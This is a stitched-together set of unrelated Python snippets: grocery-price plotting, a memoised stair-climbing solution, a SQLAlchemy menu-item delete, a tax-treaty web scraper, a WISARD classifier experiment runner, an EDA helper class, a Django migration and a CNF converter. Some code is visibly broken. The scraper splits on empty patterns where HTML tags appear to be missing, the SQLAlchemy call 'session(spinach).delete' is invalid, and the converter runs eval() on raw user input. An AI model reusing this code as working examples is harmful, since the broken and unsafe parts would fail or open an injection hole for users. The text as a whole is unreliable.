    rects4 = plt.bar(index + 3*bar_width, whole_food, bar_width,
    alpha=opacity,
    color='y',
    label='whole_food')

    rects5 = plt.bar(index + 4*bar_width, wegmans, bar_width,
    alpha=opacity,
    color='black',
    label='wegmans')

    plt.xlabel('Stores')
    plt.ylabel('Price')
    plt.title('Price by Stores')
    plt.xticks(index + 3*bar_width, ('P1', 'P2', 'P3', 'P4','P5','P6','P7','P8','P9','P10','P11','P12','P13','P14','P15'))
    plt.legend()

    plt.tight_layout()
    plt.show()

# In[ ]:

# In[63]:

if __name__ == '__main__':
    #calling the function to read the files
    prices,audit,stores = read_files()

    #calling the function to rename the column 'Region' in the audit table to 'Auditor Region'
    audit = rename_column(audit,'Region','Auditor Region')

    # calling the function to merge the tables stores and price
    str_prc_mrg = join_table(stores,prices,'left','Store ID')

    #calling the function to form the pivot table
    crss_tab = create_crss_tab(str_prc_mrg,['Banner','UPC'],'Region','Price')

    #replacing nan values with hyphon as given in the example
    values = {'Kansas':'-','New York':'-','Northern California':'-','Texas':'-'}
    crss_tab = crss_tab.fillna(value = values)

    #writing the file
    write_csv(crss_tab)

    #joining all the three tables
    full_mrg = join_table(str_prc_mrg,audit,'inner','Auditor ID')

    #calling the function to get the maximum and minimum possible price of each product
    iqr_df = find_max_min_price(full_mrg)

    #calling the function to merge the table having min and max val to the fully merged table
    full_mrg = join_table(full_mrg, iqr_df,'inner','UPC')

    #separtating the outlier values in new df
    minimum_price_df = full_mrg[(full_mrg['Price'] < full_mrg['Minimum_Price']) ]
    #checking how many outlier data has been given by each auditor
    print(minimum_price_df.First.value_counts())

    #checking the different outlier values
    print(minimum_price_df.Price.value_counts())

    #checking how many times different auditors have given the price 1.99
    print(minimum_price_df[minimum_price_df['Price'] == 1.99].First.value_counts())

    #calling the function to calculate in percent each of the minimum outlier value
    percent_prices = calc_percent()

    #calling the function to get labels for the pie chart of minimum values
    labels = get_labels(minimum_price_df,'Price')

    #calling the function to plot the pie chart of the minimum values
    pie_chart(labels,percent_prices)

    #adding index to the fully merged table
    full_mrg = full_mrg.reset_index()

    #calling the function to select random products from the table
    product = select_random_products(15)

    #calling the function to get mean price per regions
    nc,tx,kn,ny = mean_price_per_region()

    #creating the bar plot of prices per region
    bplt_price_per_region()

    #calling the function to get mean price per stores
    wlmt,tjoes,safway,wholefood,wgmns = mean_price_per_store()

    bplt_price_per_store()

# In[ ]:


'''
You are climbing a staircase. It takes n steps to reach the top.
Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top?

Example 1:

Input: n = 2
Output: 2
Explanation: There are two ways to climb to the top.
1. 1 step + 1 step
2. 2 steps
Example 2:

Input: n = 3
Output: 3
Explanation: There are three ways to climb to the top.
1. 1 step + 1 step + 1 step
2. 1 step + 2 steps
3. 2 steps + 1 step
'''

class Solution:
    cs = []
    def climbStairs(self, n: int) -> int:
        self.cs = [-1 for i in range(n+1)]
        return self.function(n)

    def function(self, i):
        if i == 1:
            self.cs[1] = 1
        elif i == 2:
            self.cs[2] = 2
        else:
            if self.cs[i] == -1:
                self.cs[i] = self.function(i - 1) + self.function(i - 2)
        return self.cs[i]

sol = Solution()
print(sol.climbStairs(38))


from database_setup import Base, Restaurant, MenuItem
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

engine = create_engine('sqlite:///restaurantmenu.db')
DBSession = sessionmaker(bind=engine)
session = DBSession()

"""
steps to delete using sqlalchemy
1. Find entry
    example: session.query(MenuItem).filter_by(xxx = 'xxx')
    add  above to a variable
2. session.delete(entry)
3. session.commit()

"""

spinach = session.query(MenuItem).filter_by(name="Spinach Ice Cream")

# for spinach in spinach:
#     print(spinach.restaurant.name)
#     print(spinach.id)
#     print(spinach.description)

session(spinach).delete(synchronize_session=False)
session.commit()
Base.metadata.bind = engine


import os

import re

import requests
from bs4 import BeautifulSoup

import pandas as pd
import numpy as np

import pycountry

url_base = 'https://eoi-tax.com'

path_to_dir = os.path.dirname(os.path.abspath(__file__))
path_to_data = os.path.join(path_to_dir, 'data')

def get_one_jurisdiction_data(href):
    response = requests.get(url_base + href)

    soup = BeautifulSoup(response.content, 'lxml')

    tables = soup.find_all('table', class_='table table-hover table-condensed table-responsive')

    table = str(tables[0])
    table = table.replace('\n', '')

    new_list = []
    pattern = '	'

    for elt in re.split('', table):
        if re.match(pattern, elt):
            continue
        else:
            new_list.append(elt)

    data = {
        'partner_jurisdiction': [],
        'agreement_type': [],
        'agreement': [],
        'signed': [],
        'entered_into_force': [],
        'eoi': []
    }

    for elt in new_list[1:]:
        temp = elt.split('')

        jurisdiction = temp[0]
        jurisdiction = jurisdiction[jurisdiction.find('>') + 1:jurisdiction[1:].find('<') + 1]

        elt = temp[1:].copy()

        for i in range(0, int(len(elt) / 5)):
            agreement_type = elt[i * 5 + 0]
            agreement = elt[i * 5 + 1]
            signed = elt[i * 5 + 2]
            entered_into_force = elt[i * 5 + 3]
            eoi = elt[i * 5 + 4]

            agreement_type = agreement_type[agreement_type.find('>') + 1:agreement_type[1:].find('<') + 1]
            agreement = agreement[agreement.find('>') + 1:agreement[1:].find('<') + 1]
            signed = signed.replace('	', '')
            entered_into_force = entered_into_force.replace('	', '')
            eoi = eoi[:eoi.find('<')]

            data['partner_jurisdiction'].append(jurisdiction)
            data['agreement_type'].append(agreement_type)
            data['agreement'].append(agreement)
            data['signed'].append(signed)
            data['entered_into_force'].append(entered_into_force)
            data['eoi'].append(eoi)

    return pd.DataFrame(data)

def get_all_jurisdictions_data():
    output = []

    response = requests.get(url_base + '/jurisdictions/')
    soup = BeautifulSoup(response.content, 'lxml')

    for col in soup.find_all(class_='col-md-2'):
        for country in col.find_all('a'):
            country_name = country.text.replace('\n', '')
            country_iso2_code = re.findall('flag-icon-(..)', str(country))[0]

            data = get_one_jurisdiction_data(country.get('href'))

            data['parent_jurisdiction_name'] = country_name
            data['parent_jurisdiction_iso2_code'] = country_iso2_code

            output.append(data)

    df = pd.concat(output)

    df['partner_jurisdiction'] = df['partner_jurisdiction'].map(
        lambda country_name: 'British Virgin Islands' if country_name == 'Virgin Islands (British)' else country_name
    )
    df['partner_jurisdiction'] = df['partner_jurisdiction'].map(
        lambda country_name: 'Democratic Republic of the Congo' if country_name == 'Congo (the Democratic Republic of the)' else country_name
    )
    df['partner_jurisdiction'] = df['partner_jurisdiction'].map(
        lambda country_name: 'State of Palestine' if country_name == 'Palestine, State of' else country_name
    )

    path_to_geographies = os.path.join(path_to_data, 'geographies.csv')
    geographies = pd.read_csv(path_to_geographies)

    df = df.merge(
        geographies[['NAME', 'CODE']],
        how='left',
        left_on='partner_jurisdiction',
        right_on='NAME'
    )

    codes_to_impute = {
        'Bonaire, Sint Eustatius and Saba': 'BES',
        'Falkland Islands [Malvinas]': 'FLK',
        'Réunion': 'REU',
        'Holy See': 'VAT'
    }

    df['CODE'] = df.apply(
        lambda row: codes_to_impute.get(row['partner_jurisdiction'], row['CODE']),
        axis=1
    )

    df = df.drop(columns=['NAME'])
    df = df.rename(
        columns={
            'CODE': 'PARTNER_COUNTRY_CODE'
        }
    )

    df['parent_jurisdiction_iso3_code'] = df['parent_jurisdiction_iso2_code'].map(
        lambda code: pycountry.countries.get(alpha_2=code.upper()).alpha_3
    )

    df = df.rename(
        columns={
            'parent_jurisdiction_iso3_code': 'PARENT_COUNTRY_CODE'
        }
    )
    df = df.drop(columns=['parent_jurisdiction_name', 'partner_jurisdiction', 'parent_jurisdiction_iso2_code'])

    df['signed'] = pd.to_datetime(df['signed'])

    df['entered_into_force'] = df['entered_into_force'].map(lambda x: np.nan if x == 'No' else x)
    df['entered_into_force'] = pd.to_datetime(df['entered_into_force'])

    return df.copy()

if __name__ == '__main__':
    df = get_all_jurisdictions_data()

    df.to_csv(os.path.join(path_to_data, 'tax_treaties.csv'), index=False)


from pathlib import Path
import numpy as np
import pandas as pd
import random
import time
import logging
import json
from dataclasses import dataclass, field
from typing import List

from wisardlib.encoders.thermometer import (
    ThermometerEncoder,
    DistributiveThermometerEncoder,
)
from wisardlib.rams.dict_ram import DictRAM
from wisardlib.rams.bloom_filter_ram import (
    CountingBloomFilterRAM,
    CountMinSketchRAM,
    CountingCuckooRAM,
    HeavyHittersRAM,
    StreamThresholdRAM,
)
from wisardlib.builder import build_symmetric_wisard
from wisardlib.utils import untie_by_first_class
from sklearn.metrics import accuracy_score, f1_score

encoders = {
    "thermometer": ThermometerEncoder,
    "distributive-thermometer": DistributiveThermometerEncoder,
}

rams = {
    "dict": DictRAM,
    "count-bloom": CountingBloomFilterRAM,
    "count-min-sketch": CountMinSketchRAM,
    "count-cuckoo": CountingCuckooRAM,
    "heavy-hitters": HeavyHittersRAM,
    "stream-threshold": StreamThresholdRAM,
}

datasets = {
    "iris": {"path": Path("experiments/data/iris/data.pkl")}, # OK
    "wine": {"path": Path("experiments/data/wine/data.pkl")},  # OK
    "breast_cancer": {"path": Path("experiments/data/breast_cancer/data.pkl")},  # OK
    "ecoli": {"path": Path("experiments/data/ecoli/data.pkl")},  #
    "letter": {"path": Path("experiments/data/letter/data.pkl")}, # OK
    "satimage": {"path": Path("experiments/data/satimage/data.pkl")}, # OK
    "segment": {"path": Path("experiments/data/segment/data.pkl")}, #~OK
    "glass": {"path": Path("experiments/data/glass/data.pkl")}, # OK
    "mnist": {"path": Path("experiments/data/mnist/data.pkl")}, # OK
    "vehicle": {"path": Path("experiments/data/vehicle/data.pkl")}, # OK
    "motion_sense": {"path": Path("experiments/data/motion_sense/data.pkl")}, # OK
    "sensorless_drive": {"path": Path("experiments/data/sensorless_drive/data.pkl")}, # OK
}

@dataclass
class RAMConfig:
    name: str
    RAM_cls_name: str
    RAM_cls_kwargs: dict = field(default_factory=dict)

def load_dataset(name: str, root_data_path: Path) -> tuple:
    data_path = datasets[name]["path"]
    data_path = root_data_path / data_path
    (x_train, y_train), (x_test, y_test) = np.load(data_path, allow_pickle=True)
    return (x_train, y_train), (x_test, y_test)

def discretize_labels(labels: np.ndarray):
    single_labels = list(set(labels))
    return np.array([single_labels.index(l) for l in labels])

def set_random_seeds(seed: int = None):
    if not seed:
        seed = int(time.time())
    random.seed(seed)
    np.random.seed(seed)
    return seed

def run_experiment(
    exp_name: str,
    output_path: Path,
    ram_configs=List[RAMConfig],
    dataset_name: str = None,
    encoder_name: str = "thermometer",
    encoder_kwargs: dict = None,
    tuple_size=16,
    number_runs=3,
    bleach: int | List[int] = 1,
    root_data_path: Path = ".",
):
    exp_id = str(time.time())
    exp_dir = Path(output_path) / exp_name

    if isinstance(bleach, int):
        bleach = [bleach]

    # Load dataset
    (x_train, y_train), (x_test, y_test) = load_dataset(
        dataset_name, Path(root_data_path)
    )

    y_train = discretize_labels(y_train)
    y_test = discretize_labels(y_test)

    # Encode dataset
    encoder_cls = encoders[encoder_name]
    encoder_kwargs = encoder_kwargs or dict()
    encoder = encoder_cls(**encoder_kwargs)
    logging.info("Encoding datasets...")
    encoder.fit(x_train)
    x_train = [x.ravel() for x in encoder.transform(x_train)]
    x_test = [x.ravel() for x in encoder.transform(x_test)]

    # Get params
    indices = len(x_train[0].ravel())
    n_classes = max(y_train) + 1

    results = []
    times = []

    for config_no, config in enumerate(ram_configs):
        for run_no in range(number_runs):
            seed = set_random_seeds()
            exp_start_time = time.time()
            logging.info(
                f"Running experiment (config={config_no+1}/{len(ram_configs)}) (run={run_no+1}/{number_runs}): {config}"
            )
            # logging.info("Creating model...")
            model = build_symmetric_wisard(
                RAM_cls=rams[config.RAM_cls_name],
                RAM_creation_kwargs=config.RAM_cls_kwargs,
                number_of_rams_per_discriminator=indices // tuple_size,
                number_of_discriminators=n_classes,
                indices=indices,
                tuple_size=tuple_size,
                shuffle_indices=True,
            )

            # logging.info("Training model...")
            train_start = time.time()
            model.fit(x_train, y_train)
            train_end = time.time()

            print(str(model[0]))

            for bleach_val in bleach:
                logging.info(f"Setting bleach to: {bleach_val}")
                model.bleach = bleach_val
                predict_start = time.time()
                y_pred = model.predict(x_test)
                predict_end = time.time()
                y_pred, ties = untie_by_first_class(y_pred)

                model_size = model.size()
                acc = accuracy_score(y_test, y_pred)
                f1_macro = f1_score(y_test, y_pred, average="macro")
                f1_micro = f1_score(y_test, y_pred, average="micro")
                f1_weighted = f1_score(y_test, y_pred, average="weighted")
                logging.info(
                    f"Accuracy: {acc:.3f}, f1-score (weighted): {f1_weighted:.3f}, ties: {ties}, size: {model_size}"
                )

                results.append(
                    {
                        "bleach": bleach_val,
                        "accuracy": acc,
                        "f1 weighted": f1_weighted,
                        "f1 macro": f1_macro,
                        "f1 micro": f1_micro,
                        "ties": ties,
                        "run": run_no + 1,
                        "train time": train_end - train_start,
                        "predict time": predict_end - predict_start,
                        "ram name": config.name,
                        "ram kwargs": json.dumps(config.RAM_cls_kwargs),
                        "tuple size": tuple_size,
                        "dataset name": dataset_name,
                        "encoder": encoder_name,
                        "encoder kwargs": json.dumps(encoder_kwargs),
                        "experiment name": exp_name,
                        "model size": model.size(),
                        "train samples": len(y_train),
                        "test samples": len(y_test),
                        "classes": n_classes,
                        "rams per discriminator": indices // tuple_size,
                        "discriminators": n_classes,
                        "seed": seed,
                        "indices": indices,
                    }
                )
            exp_end_time = time.time()
            times.append(exp_end_time - exp_start_time)
            logging.info(
                f"The run took {exp_end_time-exp_start_time:.3f} seconds (estimated remaining time: {len(ram_configs)*number_runs*np.mean(times)-config_no*number_runs*np.mean(times)-(run_no+1)*np.mean(times):.2f} seconds...)\n"
            )

    df = pd.DataFrame(results)
    exp_dir.mkdir(exist_ok=True, parents=True)
    exp_path = exp_dir / f"{exp_id}.csv"
    df.to_csv(exp_path, index=False)
    print(f"Results saved to: {exp_path}")

    return df


import pandas as pd
import numpy as np
import math
import ipywidgets as widgets
from ipywidgets import VBox, Label, HBox
from IPython.display import display

from pandas_profiling import ProfileReport
from pandas.plotting import scatter_matrix

##Seaborn for fancy plots.
#%matplotlib inline
import matplotlib.pyplot as plt
import seaborn as sns
plt.rcParams["figure.figsize"] = (8,8)

class edaDF:

##########################################################################
### Once connected to the class edaDF, please start by .user_choice() ####
## And enter what type of Data Exploration you would like to perform  ####
##########################################################################

    # Calss Initial constructor to define:
    # self.data
    # self.target
    # self.cat to define Categorical columns
    #self.num to define Numerical columns
    def __init__(self, data, target):
        self.data=data
        self.target=target
        # Identify Categorical, Numerical, Boolean type Columns
        self.cat=self.data.select_dtypes(exclude=[np.number]) # Categorical Columns
        self.num=self.data.select_dtypes(include=[np.number]) # Numerical Columns
        self.bool=self.data.select_dtypes('bool') # Boolean Column, {True, False}
        print('SUCCESSFULLY CONNECTED TO THE EDAdf')
        print('Please start with .user_input()')
        #print('THIS IS A BASIC EXPLORATORY DATA ANALYSIS: ')

    # Method 1: Display .info() of data
    def info(self):
        return self.data.info()

    # Method 2: Describe the data
    def describe(self):
        return self.data.describe().T

    # Method 3: Describe the data
    def Null_Values(self):
        return self.data.isnull().sum()

    # Method 4: Display the Target varaiable
    def giveTarget(self):
        return self.target

    # Method 5: Diplay Countplots for Categorical Columns
    def countPlots(self):
        n = len((self.cat).columns)
        cols = 2
        figure, ax = plt.subplots(math.ceil(n/cols), cols, figsize=(20,20))
        r = 0
        c = 0
        for col in (self.cat).columns:
            # https://github.com/mwaskom/seaborn/issues/1582
            splot=sns.countplot(data=self.data, x=col, hue=self.target, ax=ax[r][c])
            for p in splot.patches:
                splot.annotate(format(p.get_height(), '.2f'), (p.get_x() + p.get_width() / 2., p.get_height()),
                        ha = 'center', va = 'center', xytext = (0, 2), textcoords = 'offset points')
            c += 1
            if c == cols:
                r += 1
                c = 0
        plt.tight_layout()
        return figure

    # Method 6: Diplay Histplot for the Numerical Columns
    def histPlots(self, kde=True):

        n = len((self.num).columns)
        cols = 2
        figure, ax = plt.subplots(math.ceil(n/cols), cols, figsize=(20,20))
        r = 0
        c = 0
        for col in (self.num):
            if (self.num[col]).nunique() == 2:
                print(f'Variable/Column, {col}, has only 2 UNIQUE values, therefore a  horizontal CountPlot is displayed.')
                print('********************************************************************')
                splot=sns.countplot(data=self.data, x=col, hue=self.target, ax=ax[r][c])
                for p in splot.patches:
                    splot.annotate(format(p.get_height(), '.2f'), (p.get_x() + p.get_width() / 2., p.get_height()),
                        ha = 'center', va = 'center', xytext = (0, 2), textcoords = 'offset points')
                c+=1
                if c== cols:
                    r+=1
                    c=0
            else:
            #print("r:",r,"c:",c)
                sns.histplot(data=self.data, x=col, hue=self.target, kde=True, ax=ax[r][c])
                c += 1
                if c == cols:
                    r += 1
                    c = 0
        plt.tight_layout()
        plt.show()
        return figure

    # Method 7: Diplay Boxplotx for the Numerical Columns to view outliers
    def Boxplot(self):
        for cols in self.num.columns:
            if self.num[cols].nunique()==2:
                print(f'Column/Variable, {cols} will not have a Boxplot as it only has 2 unique values')
                print()

        n = len(self.num.columns)
        cols = 2
        figure, ax = plt.subplots(math.ceil(n/cols), cols, figsize=(20,20))
        r = 0
        c = 0
        for col in self.num.columns:
            if self.num[col].nunique() != 2:
                sns.boxplot(data=self.data, x=col, ax=ax[r][c])
                #counter += 1
                c += 1
                if c == cols:
                    r += 1
                    c = 0
        plt.tight_layout()
        plt.show()
        return figure

    # Method 8: Scatter_Matrix for all Numerical Columns
    def Scatterplot(self):
        #scatter_matrix=sns.pairplot(self.num, corner=True)
        attributes=(self.num).columns
        scatter=scatter_matrix((self.data)[attributes], figsize=(20,20), hist_kwds=None)
        plt.tight_layout()
        plt.show()
        return scatter

    # Method 9: Correlation between all Numerical Columns
    def correlation(self):
        self.corr=(self.num).corr(method='spearman')
        return self.corr

    # Method 10: Find Top 4 Correlations to Target variable
    def TOP4Corr(self):
        corr_matrix=(self.num).corr(method='spearman')
        print(f'Top 3 Correlations to Target:{self.target}, are:')
        return display(corr_matrix[self.target].sort_values(ascending=False).head(4))

    # Method 11: Diplay basic_EDA of dataframe with widget tabs
    def basic_EDA(self):
        out1 = widgets.Output()
        out2 = widgets.Output()
        out3 = widgets.Output()
        out4 = widgets.Output()
        out5 = widgets.Output()
        out6 = widgets.Output()
        out7 = widgets.Output()
        out8 = widgets.Output()
        out9 = widgets.Output()

        tab = widgets.Tab(children = [out1, out2, out3, out4, out5, out6, out7, out8, out9])
        tab.set_title(0, 'Overall Info')
        tab.set_title(1, 'Columns Info')
        tab.set_title(2, 'Describe Data')
        tab.set_title(3, 'Missing_Values')
        tab.set_title(4, 'Categorical Plots')
        tab.set_title(5, 'Numerical Plots')
        tab.set_title(6, 'BoxPlot:Numerical')
        tab.set_title(7, 'ScatterPlot: Numerical')
        tab.set_title(8, 'Correlation: Numerical')
        display(tab)

        with out1:
            display(self.info())

        with out2:
            print('#############################################')
            print()
            print('Number of Categorical Columns:',len((self.cat).columns))
            print(*self.cat, sep=', ')
            print()
            print('#############################################')
            print()
            print('Number of Numerical Columns:',len((self.num).columns))
            print(*self.num, sep=', ')
            print()
            print('#############################################')
            print()
            print('Number of Variables/Columns with only 2 Unique Values:')
            for unik in self.data.columns:
                if self.data[unik].nunique() == 2:
                    display(unik),
            print('#############################################')
            print()
            print('Number of Boolean Columns:',len((self.bool).columns))
            print(*self.bool, sep=', ')
            print()
            print()
            print('#############################################')
            print('Target Variable is set to:',self.target)
            print('#############################################')

        with out3:
            display(self.describe())

        with out4:
            display(self.Null_Values())

        with out5:
            fig5 = self.countPlots()
            plt.show(fig5)

        with out6:
            fig6 = self.histPlots()
            plt.show(fig6)

        with out7:
            fig7 = self.Boxplot()
            plt.show(fig7)

        with out8:
            print('Realtionship between Numerical Columns')
            fig8 = self.Scatterplot()

        with out9:
            fig9 = self.correlation()
            fig10 = self.TOP4Corr()
            display(fig9)
            display(fig10)

    # Method 12: User Input on what type of Data Exploration they like to see
    def user_choice(self):
        user_choice = input("Do you want to use BASIC exploration or PANDAS profiling? (BASIC/PANDAS): ")
        # Check user choice between BASIC and PANDAS
        if user_choice == "BASIC":
            self.basic_EDA()
        elif user_choice == "PANDAS":
            user_input=input('Do you want this to show as HTML or within the IDE? (HTML/IDE): ')
            if user_input == 'HTML':
                self.profiling_html()
            elif user_input == 'IDE':
                self.profiling_IDE()
            else:
                print("Invalid choice. Please choose 'HTML' or 'IDE'.")
        else:
            print("Invalid choice. Please choose 'basic' or 'profiling'.")

    # Method 13: Using Pandas_Profiling to generate a report in html.
    def profiling_html(self):
        profile = ProfileReport(self.data)
        profile.to_file("PANDAS_PROFILE_DATA.html")
        print("Data profile has been saved as PANDAS_PROFILE_DATA.html")
        print('###########   InStructionS on Viewing HTML File ############')
        print("YOU CAN OPEN THE HTML FILE USING THE VSC Extention called Open in Browser")
        print("Once installed, right click on file and choose OPEN with HTML Viewer")

    # Method 14: Display Pandas Profile Report within IDE
    def profiling_IDE(self):
        profile_IDE = ProfileReport(self.data)
        display(profile_IDE)


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('telepathy', '0001_initial'),
    ]

    operations = [
        migrations.AddField(
            model_name='thread',
            name='placement',
            field=models.TextField(default=None, null=True),
            preserve_default=True,
        ),
    ]


import sys

def main():
    inp = input("ocaml list: ")
    l = eval(inp.replace(";", ","))
    litterals = []
    out = ""
    for subl in l:
        for litt in subl:
            if not abs(litt) in litterals:
                litterals.append(abs(litt))
            out += "%d "%litt
        out += "0\n"

    print("p cnf %d %d\n"%(len(litterals), len(l)))
    print(out)

if __name__ == '__main__':
    main()